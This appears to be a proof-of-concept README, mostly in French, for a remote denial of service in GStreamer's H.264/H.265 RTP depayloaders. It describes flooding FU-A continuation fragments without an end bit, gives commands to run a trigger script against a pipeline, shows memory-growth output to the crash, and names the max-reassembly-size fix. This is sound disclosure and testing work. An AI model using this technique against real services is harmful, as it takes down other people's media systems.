
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
Preuve de concept pour une vulnérabilité d'épuisement des ressources dans le dépayloader H.264 RTP de GStreamer (rtph264depay). Le même schéma affecte également rtph265depay.
Lors du réassemblage RTP fragmenté H.264 FU-A, chaque fragment entrant est poussé dans un tampon interne GstAdapter sans limite de taille. L'adaptateur ne se vide que lorsque le bit de fin de fragment (E) est défini dans l'en-tête FU. Un attaquant distant envoie un fragment de début valide, puis un flux infini de fragments de continuation sans jamais définir le bit E. Le tampon continue de croître jusqu'à ce que le processus manque de mémoire et plante.
Rapport complet : 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good avant le correctif en amont. Confirmé sur 1.28.2 (Ubuntu 24.04).
Démarrez un pipeline, puis exécutez le PoC :
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Pour un crash rapide, ajoutez une limite de mémoire :
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
Une propriété max-reassembly-size a été ajoutée à rtph264depay et rtph265depay. Les applications doivent la définir à une valeur raisonnable (16 Mo pour la vidéo est typique). La valeur par défaut est 0 (illimité) pour la rétrocompatibilité.